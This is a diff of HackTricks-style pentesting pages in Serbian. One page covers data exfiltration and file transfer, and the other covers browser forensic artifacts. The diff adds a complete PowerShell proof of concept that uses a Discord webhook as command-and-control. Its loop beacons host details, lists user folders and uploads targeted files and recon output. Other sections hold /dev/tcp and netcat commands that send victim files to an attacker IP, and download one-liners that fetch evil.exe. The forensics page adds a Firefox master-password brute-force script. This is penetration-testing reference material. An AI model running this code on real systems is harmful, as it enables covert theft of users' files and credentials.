## Webhooks (Discord/Slack/Teams) za C2 & Data Exfiltration
|
||||||
|
|
||||||
|
Webhooks su write-only HTTPS endpoints koji prihvataju JSON i opciono file parts. Često su dozvoljeni za trusted SaaS domene i ne zahtevaju OAuth/API ključeve, što ih čini korisnim za low-friction beaconing i exfiltration.
|
||||||
|
|
||||||
|
Key ideas:
|
||||||
|
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
|
||||||
|
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
|
||||||
|
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK potvrđuju isporuku.
|
||||||
|
|
||||||
|
PowerShell PoC (Discord):
|
||||||
|
```powershell
|
||||||
|
# 1) Configure webhook and optional target file
|
||||||
|
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
|
||||||
|
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
|
||||||
|
|
||||||
|
# 2) Reuse a single HttpClient
|
||||||
|
$client = [System.Net.Http.HttpClient]::new()
|
||||||
|
|
||||||
|
function Send-DiscordText {
|
||||||
|
param([string]$Text)
|
||||||
|
$payload = @{ content = $Text } | ConvertTo-Json -Compress
|
||||||
|
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
|
||||||
|
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||||
|
$mp.Add($jsonContent, "payload_json")
|
||||||
|
$resp = $client.PostAsync($webhook, $mp).Result
|
||||||
|
Write-Host "[Discord] text -> $($resp.StatusCode)"
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-DiscordFile {
|
||||||
|
param([string]$Path, [string]$Name)
|
||||||
|
if (-not (Test-Path $Path)) { return }
|
||||||
|
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||||
|
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
|
||||||
|
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
|
||||||
|
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
|
||||||
|
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
|
||||||
|
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||||
|
$mp.Add($jsonContent, "payload_json")
|
||||||
|
$mp.Add($fileContent, "file", $Name)
|
||||||
|
$resp = $client.PostAsync($webhook, $mp).Result
|
||||||
|
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
|
||||||
|
}
|
||||||
|
|
||||||
|
# 3) Beacon/recon/exfil loop
|
||||||
|
$ctr = 0
|
||||||
|
while ($true) {
|
||||||
|
$ctr++
|
||||||
|
# Beacon
|
||||||
|
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
|
||||||
|
Send-DiscordText -Text $beacon
|
||||||
|
|
||||||
|
# Every 2nd: quick folder listing
|
||||||
|
if ($ctr % 2 -eq 0) {
|
||||||
|
$dirs = @("Documents","Desktop","Downloads","Pictures")
|
||||||
|
$acc = foreach ($d in $dirs) {
|
||||||
|
$p = Join-Path $env:USERPROFILE $d
|
||||||
|
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
|
||||||
|
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
|
||||||
|
}
|
||||||
|
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
|
||||||
|
}
|
||||||
|
|
||||||
|
# Every 3rd: targeted exfil
|
||||||
|
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
|
||||||
|
|
||||||
|
# Every 4th: basic recon
|
||||||
|
if ($ctr % 4 -eq 0) {
|
||||||
|
$who = whoami
|
||||||
|
$ip = ipconfig | Out-String
|
||||||
|
$tmp = Join-Path $env:TEMP "recon.txt"
|
||||||
|
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
|
||||||
|
Send-DiscordFile -Path $tmp -Name "recon.txt"
|
||||||
|
}
|
||||||
|
|
||||||
|
Start-Sleep -Seconds 20
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Beleške:
|
||||||
|
- Slični obrasci važe i za druge platforme za saradnju (Slack/Teams) koje koriste svoje incoming webhooks; prilagodite URL i JSON šemu u skladu s tim.
|
||||||
|
- Za DFIR vezan za artefakte keša Discord Desktop-a i webhook/API recovery, pogledajte:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## FTP
|
## FTP
|
||||||
|
|
||||||
### FTP сервер (python)
|
### FTP server (python)
|
||||||
```bash
|
```bash
|
||||||
pip3 install pyftpdlib
|
pip3 install pyftpdlib
|
||||||
python3 -m pyftpdlib -p 21
|
python3 -m pyftpdlib -p 21
|
||||||
```
|
```
|
||||||
### FTP сервер (NodeJS)
|
### FTP server (NodeJS)
|
||||||
```
|
```
|
||||||
sudo npm install -g ftp-srv --save
|
sudo npm install -g ftp-srv --save
|
||||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||||
```
|
```
|
||||||
### FTP сервер (pure-ftp)
|
### FTP server (pure-ftp)
|
||||||
```bash
|
```bash
|
||||||
apt-get update && apt-get install pure-ftp
|
apt-get update && apt-get install pure-ftp
|
||||||
```
|
```
|
||||||
@ -130,7 +215,7 @@ mkdir -p /ftphome
|
|||||||
chown -R ftpuser:ftpgroup /ftphome/
|
chown -R ftpuser:ftpgroup /ftphome/
|
||||||
/etc/init.d/pure-ftpd restart
|
/etc/init.d/pure-ftpd restart
|
||||||
```
|
```
|
||||||
### **Windows** клијент
|
### **Windows** klijent
|
||||||
```bash
|
```bash
|
||||||
#Work well with python. With pure-ftp use fusr:ftp
|
#Work well with python. With pure-ftp use fusr:ftp
|
||||||
echo open 10.11.0.41 21 > ftp.txt
|
echo open 10.11.0.41 21 > ftp.txt
|
||||||
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||||||
#For new Win10 versions
|
#For new Win10 versions
|
||||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||||
```
|
```
|
||||||
Ili kreirajte smb deljenje **koristeći samba**:
|
Ili kreirajte smb share **koristeći samba**:
|
||||||
```bash
|
```bash
|
||||||
apt-get install samba
|
apt-get install samba
|
||||||
mkdir /tmp/smb
|
mkdir /tmp/smb
|
||||||
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
|
|||||||
```
|
```
|
||||||
## SCP
|
## SCP
|
||||||
|
|
||||||
Napadač mora imati pokrenut SSHd.
|
attacker mora imati SSHd pokrenut.
|
||||||
```bash
|
```bash
|
||||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||||
```
|
```
|
||||||
## SSHFS
|
## SSHFS
|
||||||
|
|
||||||
Ako žrtva ima SSH, napadač može montirati direktorijum sa žrtve na napadača.
|
Ako žrtva ima SSH, napadač može da montira direktorijum sa žrtve na svoj sistem.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install sshfs
|
sudo apt-get install sshfs
|
||||||
sudo mkdir /mnt/sshfs
|
sudo mkdir /mnt/sshfs
|
||||||
@ -194,19 +279,19 @@ nc -vn <IP> 4444 < exfil_file
|
|||||||
```
|
```
|
||||||
## /dev/tcp
|
## /dev/tcp
|
||||||
|
|
||||||
### Preuzmi datoteku sa žrtve
|
### Preuzimanje datoteke sa žrtve
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 80 > file #Inside attacker
|
nc -lvnp 80 > file #Inside attacker
|
||||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||||
```
|
```
|
||||||
### Učitajte datoteku na žrtvu
|
### Otpremanje datoteke na metu
|
||||||
```bash
|
```bash
|
||||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||||
# Inside victim
|
# Inside victim
|
||||||
exec 6< /dev/tcp/10.10.10.10/4444
|
exec 6< /dev/tcp/10.10.10.10/4444
|
||||||
cat <&6 > file.txt
|
cat <&6 > file.txt
|
||||||
```
|
```
|
||||||
hvala **@BinaryShadow\_**
|
zahvaljujući **@BinaryShadow\_**
|
||||||
|
|
||||||
## **ICMP**
|
## **ICMP**
|
||||||
```bash
|
```bash
|
||||||
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
|
|||||||
```
|
```
|
||||||
## **SMTP**
|
## **SMTP**
|
||||||
|
|
||||||
Ako možete poslati podatke na SMTP server, možete kreirati SMTP za primanje podataka pomoću Pythona:
|
Ako možete poslati podatke na SMTP server, možete kreirati SMTP server za primanje podataka pomoću python:
|
||||||
```bash
|
```bash
|
||||||
sudo python -m smtpd -n -c DebuggingServer :25
|
sudo python -m smtpd -n -c DebuggingServer :25
|
||||||
```
|
```
|
||||||
## TFTP
|
## TFTP
|
||||||
|
|
||||||
Podrazumevano u XP i 2003 (u drugim verzijama mora se eksplicitno dodati tokom instalacije)
|
Podrazumevano u XP i 2003 (u ostalim verzijama mora biti eksplicitno dodat tokom instalacije)
|
||||||
|
|
||||||
U Kali, **start TFTP server**:
|
U Kali, **pokrenite TFTP server**:
|
||||||
```bash
|
```bash
|
||||||
#I didn't get this options working and I prefer the python option
|
#I didn't get this options working and I prefer the python option
|
||||||
mkdir /tftp
|
mkdir /tftp
|
||||||
atftpd --daemon --port 69 /tftp
|
atftpd --daemon --port 69 /tftp
|
||||||
cp /path/tp/nc.exe /tftp
|
cp /path/tp/nc.exe /tftp
|
||||||
```
|
```
|
||||||
**TFTP сервер у Питону:**
|
**TFTP server u python:**
|
||||||
```bash
|
```bash
|
||||||
pip install ptftpd
|
pip install ptftpd
|
||||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||||
```
|
```
|
||||||
U **žrtvi**, povežite se na Kali server:
|
Na **victim**, povežite se na Kali server:
|
||||||
```bash
|
```bash
|
||||||
tftp -i <KALI-IP> get nc.exe
|
tftp -i <KALI-IP> get nc.exe
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
Preuzmite datoteku sa PHP oneliner-om:
|
Preuzmite fajl pomoću PHP onelinera:
|
||||||
```bash
|
```bash
|
||||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||||
```
|
```
|
||||||
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||||||
```
|
```
|
||||||
## Debug.exe
|
## Debug.exe
|
||||||
|
|
||||||
Program `debug.exe` ne samo da omogućava inspekciju binarnih datoteka, već takođe ima **sposobnost da ih rekonstruiše iz heksadecimalnog formata**. To znači da pružanjem heksa binarne datoteke, `debug.exe` može generisati binarnu datoteku. Međutim, važno je napomenuti da `debug.exe` ima **ograničenje u sastavljanju datoteka do 64 kb u veličini**.
|
Program `debug.exe` ne samo da omogućava pregled binarnih fajlova, već ima i **sposobnost da ih rekonstruiše iz hex-a**. To znači da, pružanjem hex-a binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da `debug.exe` ima **ograničenje sastavljanja fajlova do veličine od 64 kb**.
|
||||||
```bash
|
```bash
|
||||||
# Reduce the size
|
# Reduce the size
|
||||||
upx -9 nc.exe
|
upx -9 nc.exe
|
||||||
wine exe2bat.exe nc.exe nc.txt
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
```
|
```
|
||||||
Zatim kopirajte i nalepite tekst u windows-shell i biće kreirana datoteka pod nazivom nc.exe.
|
Zatim kopirajte i nalepite tekst u windows-shell i biće kreiran fajl pod imenom nc.exe.
|
||||||
|
|
||||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||||
|
|
||||||
@ -310,4 +395,10 @@ Zatim kopirajte i nalepite tekst u windows-shell i biće kreirana datoteka pod n
|
|||||||
|
|
||||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||||
|
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||||
|
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -1,25 +1,25 @@
|
|||||||
# Browser Artifacts
|
# Artefakti pregledača
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
## Artefakti pregledača <a href="#id-3def" id="id-3def"></a>
|
||||||
|
|
||||||
Browser artifacts uključuju različite vrste podataka koje čuvaju web pregledači, kao što su istorija navigacije, obeleživači i podaci iz keša. Ovi artefakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu među pregledačima, ali generalno čuvaju slične tipove podataka.
|
Artefakti pregledača obuhvataju razne tipove podataka koje čuvaju web pregledači, kao što su istorija navigacije, obeleživači i keš podaci. Ti artefakti se čuvaju u specifičnim folderima unutar operativnog sistema, razlikujući se po lokaciji i nazivu između pregledača, ali generalno beleže slične tipove podataka.
|
||||||
|
|
||||||
Evo sažetak najčešćih browser artefakata:
|
Evo sažetka najčešćih artefakata pregledača:
|
||||||
|
|
||||||
- **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
|
- **Istorija navigacije**: Prati posete korisnika web sajtovima, korisno za identifikovanje poseta malicioznim sajtovima.
|
||||||
- **Podaci za automatsko popunjavanje**: Predlozi zasnovani na čestim pretragama, nude uvid kada se kombinuju sa istorijom navigacije.
|
- **Podaci za automatsko popunjavanje**: Sugestije zasnovane na učestalim pretragama, daju dodatne informacije kada se kombinuju sa istorijom navigacije.
|
||||||
- **Obeleživači**: Sajtovi koje je korisnik sačuvao za brzi pristup.
|
- **Obeleživači**: Sajtovi koje je korisnik sačuvao za brz pristup.
|
||||||
- **Ekstenzije i dodaci**: Ekstenzije pregledača ili dodaci koje je instalirao korisnik.
|
- **Extensions and Add-ons**: Ekstenzije ili dodaci instalirani u pregledaču.
|
||||||
- **Keš**: Čuva veb sadržaj (npr. slike, JavaScript datoteke) kako bi poboljšao vreme učitavanja veb sajtova, vredno za forenzičku analizu.
|
- **Keš**: Čuva web sadržaj (npr. slike, JavaScript fajlove) radi bržeg učitavanja sajtova, vredno za forenzičku analizu.
|
||||||
- **Prijave**: Sačuvane prijavne informacije.
|
- **Logins**: Sačuvane prijave/akreditive.
|
||||||
- **Favikoni**: Ikone povezane sa veb sajtovima, pojavljuju se u karticama i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
- **Favicons**: Ikonice povezane sa sajtovima, pojavljuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||||
- **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
|
- **Browser Sessions**: Podaci vezani za otvorene browser sesije.
|
||||||
- **Preuzimanja**: Zapisnici datoteka preuzetih putem pregledača.
|
- **Downloads**: Evidencija fajlova preuzetih preko pregledača.
|
||||||
- **Podaci iz obrazaca**: Informacije unesene u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
|
- **Form Data**: Informacije unesene u web forme, sačuvane za buduće autofill sugestije.
|
||||||
- **Sličice**: Pregledne slike veb sajtova.
|
- **Thumbnails**: Pregledne slike sajtova.
|
||||||
- **Custom Dictionary.txt**: Reči koje je korisnik dodao rečniku pregledača.
|
- **Custom Dictionary.txt**: Reči koje je korisnik dodao u pregledačev rečnik.
|
||||||
|
|
||||||
## Firefox
|
## Firefox
|
||||||
|
|
||||||
@ -29,30 +29,30 @@ Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na specif
|
|||||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||||
|
|
||||||
Datoteka `profiles.ini` unutar ovih direktorijuma sadrži listu korisničkih profila. Podaci svakog profila se čuvaju u fascikli nazvanoj u `Path` varijabli unutar `profiles.ini`, koja se nalazi u istom direktorijumu kao i `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
|
Datoteka `profiles.ini` u ovim direktorijumima navodi korisničke profile. Podaci svakog profila se čuvaju u folderu naznačenom u varijabli `Path` unutar `profiles.ini`, koji se nalazi u istom direktorijumu kao i `profiles.ini` sam. Ako folder profila nedostaje, možda je izbrisan.
|
||||||
|
|
||||||
Unutar svake fascikle profila možete pronaći nekoliko važnih datoteka:
|
Unutar svakog profila možete pronaći nekoliko važnih fajlova:
|
||||||
|
|
||||||
- **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) na Windows-u mogu pristupiti podacima o istoriji.
|
- **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) na Windows mogu pristupiti podacima istorije.
|
||||||
- Koristite specifične SQL upite za ekstrakciju informacija o istoriji i preuzimanjima.
|
- Koristite specifične SQL upite za ekstrakciju informacija o istoriji i preuzimanjima.
|
||||||
- **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
|
- **bookmarkbackups**: Sadržava backup-ove obeleživača.
|
||||||
- **formhistory.sqlite**: Čuva podatke iz veb obrazaca.
|
- **formhistory.sqlite**: Čuva podatke iz web formi.
|
||||||
- **handlers.json**: Upravljanje protokolima.
|
- **handlers.json**: Upravljanje protocol handler-ima.
|
||||||
- **persdict.dat**: Reči iz prilagođenog rečnika.
|
- **persdict.dat**: Reči iz prilagođenog rečnika.
|
||||||
- **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
|
- **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
|
||||||
- **cookies.sqlite**: Skladištenje kolačića, uz [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupan za inspekciju na Windows-u.
|
- **cookies.sqlite**: Skladište kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows.
|
||||||
- **cache2/entries** ili **startupCache**: Podaci iz keša, dostupni putem alata kao što je [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
- **cache2/entries** ili **startupCache**: Keš podaci, dostupni kroz alate poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||||
- **favicons.sqlite**: Čuva favikone.
|
- **favicons.sqlite**: Čuva favicons.
|
||||||
- **prefs.js**: Korisničke postavke i preferencije.
|
- **prefs.js**: Korisnička podešavanja i preference.
|
||||||
- **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
|
- **downloads.sqlite**: Starija baza za preuzimanja, sada integrisana u places.sqlite.
|
||||||
- **thumbnails**: Sličice veb sajtova.
|
- **thumbnails**: Pregledne slike sajtova.
|
||||||
- **logins.json**: Enkriptovane prijavne informacije.
|
- **logins.json**: Enkriptovane informacije o prijavama.
|
||||||
- **key4.db** ili **key3.db**: Čuva ključeve za enkripciju radi zaštite osetljivih informacija.
|
- **key4.db** ili **key3.db**: Čuvaju ključeve za enkripciju osetljivih informacija.
|
||||||
|
|
||||||
Pored toga, proveru podešavanja pregledača za zaštitu od phishing-a možete izvršiti pretraživanjem `browser.safebrowsing` unosa u `prefs.js`, što ukazuje na to da li su funkcije sigurne navigacije omogućene ili onemogućene.
|
Dodatno, proveru anti-phishing podešavanja pregledača možete izvršiti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije za bezbedno pretraživanje uključene ili isključene.
|
||||||
|
|
||||||
Da biste pokušali da dekriptujete glavnu lozinku, možete koristiti [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
Da biste pokušali da dekriptuјete master lozinku, možete koristiti [https://github.com/unode/firefox_decrypt]\
|
||||||
Sa sledećim skriptom i pozivom možete odrediti datoteku lozinki za brute force:
|
Sa sledećim skriptom i pozivom možete navesti datoteku lozinki za brute force:
|
||||||
```bash:brute.sh
|
```bash:brute.sh
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
@ -67,63 +67,69 @@ done < $passfile
|
|||||||
|
|
||||||
## Google Chrome
|
## Google Chrome
|
||||||
|
|
||||||
Google Chrome čuva korisničke profile na specifičnim lokacijama u zavisnosti od operativnog sistema:
|
Google Chrome čuva korisničke profile na određenim lokacijama u zavisnosti od operativnog sistema:
|
||||||
|
|
||||||
- **Linux**: `~/.config/google-chrome/`
|
- **Linux**: `~/.config/google-chrome/`
|
||||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||||
|
|
||||||
Unutar ovih direktorijuma, većina korisničkih podataka može se naći u **Default/** ili **ChromeDefaultData/** folderima. Sledeće datoteke sadrže značajne podatke:
|
U ovim direktorijumima većina korisničkih podataka se nalazi u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeće datoteke sadrže značajne podatke:
|
||||||
|
|
||||||
- **History**: Sadrži URL-ove, preuzimanja i ključne reči za pretragu. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, otkucane URL-ove, slanje obrazaca i ponovna učitavanja stranica.
|
- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući kliktanja korisnika na linkove, ukucane URL-ove, slanje formi i ponovno učitavanje stranice.
|
||||||
- **Cookies**: Čuva kolačiće. Za inspekciju, dostupna je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
- **Cookies**: Čuva cookies. Za inspekciju je dostupan [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
||||||
- **Cache**: Drži keširane podatke. Za inspekciju, korisnici Windows-a mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
- **Cache**: Sadrži keširane podatke. Za inspekciju Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||||
- **Bookmarks**: Korisničke oznake.
|
|
||||||
- **Web Data**: Sadrži istoriju obrazaca.
|
Desktop aplikacije zasnovane na Electron-u (npr. Discord) takođe koriste Chromium Simple Cache i ostavljaju bogate artefakte na disku. Vidi:
|
||||||
- **Favicons**: Čuva favicon-e sajtova.
|
|
||||||
- **Login Data**: Uključuje podatke za prijavu kao što su korisnička imena i lozinke.
|
{{#ref}}
|
||||||
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
|
discord-cache-forensics.md
|
||||||
|
{{#endref}}
|
||||||
|
- **Bookmarks**: Korisničke bookmarke.
|
||||||
|
- **Web Data**: Sadrži istoriju formi.
|
||||||
|
- **Favicons**: Čuva favikone sajtova.
|
||||||
|
- **Login Data**: Sadrži kredencijale za prijavu kao što su korisnička imena i lozinke.
|
||||||
|
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledača i otvorenim tabovima.
|
||||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
||||||
- **Extensions**: Direktorijumi za ekstenzije i dodatke pretraživača.
|
- **Extensions**: Direktorijumi za ekstenzije i dodatke.
|
||||||
- **Thumbnails**: Čuva sličice sajtova.
|
- **Thumbnails**: Čuva sličice veb sajtova.
|
||||||
- **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za dodatke, ekstenzije, iskačuće prozore, obaveštenja i još mnogo toga.
|
- **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za pluginove, ekstenzije, pop-upove, notifikacije i više.
|
||||||
- **Browser’s built-in anti-phishing**: Da biste proverili da li su zaštita od phishing-a i zaštita od malvera omogućene, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
- **Browser’s built-in anti-phishing**: Da biste proverili da li su anti-phishing i zaštita od malvera uključeni, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
||||||
|
|
||||||
## **SQLite DB Data Recovery**
|
## **SQLite DB Data Recovery**
|
||||||
|
|
||||||
Kao što možete primetiti u prethodnim odsecima, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
Kao što se može primetiti u prethodnim sekcijama, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti izbrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||||
|
|
||||||
## **Internet Explorer 11**
|
## **Internet Explorer 11**
|
||||||
|
|
||||||
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju sačuvanih informacija i njihovih odgovarajućih detalja za lak pristup i upravljanje.
|
Internet Explorer 11 raspoređuje svoje podatke i metapodatke na različitim lokacijama, što pomaže u odvajanju sačuvanih informacija i pripadajućih detalja radi lakšeg pristupa i upravljanja.
|
||||||
|
|
||||||
### Metadata Storage
|
### Metadata Storage
|
||||||
|
|
||||||
Metapodaci za Internet Explorer čuvaju se u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gde je VX V01, V16 ili V24). Pored toga, datoteka `V01.log` može pokazati razlike u vremenu modifikacije sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom koristeći `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i pregledati koristeći alate kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). Unutar tabele **Containers**, može se razaznati specifične tabele ili kontejneri gde je svaki segment podataka smešten, uključujući detalje o kešu za druge Microsoft alate kao što je Skype.
|
Metapodaci za Internet Explorer se čuvaju u %userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data (gde je VX V01, V16 ili V24). Uz to, fajl `V01.log` može pokazati razlike u vremenu izmene u odnosu na `WebcacheVX.data`, što ukazuje na potrebu za popravkom korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i pregledati korišćenjem alata poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). U tabeli **Containers** moguće je razaznati specifične tabele ili kontejnere u kojima je svaki deo podataka smešten, uključujući detalje keša za druge Microsoft alate kao što je Skype.
|
||||||
|
|
||||||
### Cache Inspection
|
### Cache Inspection
|
||||||
|
|
||||||
Alat [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju foldera za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime datoteke, direktorijum, broj pristupa, URL izvor i vremenske oznake koje označavaju vreme kreiranja, pristupa, modifikacije i isteka keša.
|
